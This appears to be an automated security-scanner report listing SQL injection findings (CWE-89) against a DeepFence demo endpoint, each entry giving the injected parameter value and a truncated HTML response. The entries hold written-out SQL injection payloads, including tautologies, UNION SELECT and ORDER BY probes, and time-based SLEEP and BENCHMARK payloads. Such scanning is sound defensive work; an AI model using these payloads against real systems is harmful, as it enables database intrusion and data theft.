<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #999
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1000
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1001Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1002
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1003
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 26--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1004
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),"'3
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1005
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1006
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1007
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1008
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" or "x"="x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1009
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1010
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1011
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1012Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1013
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('
A')),4,5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
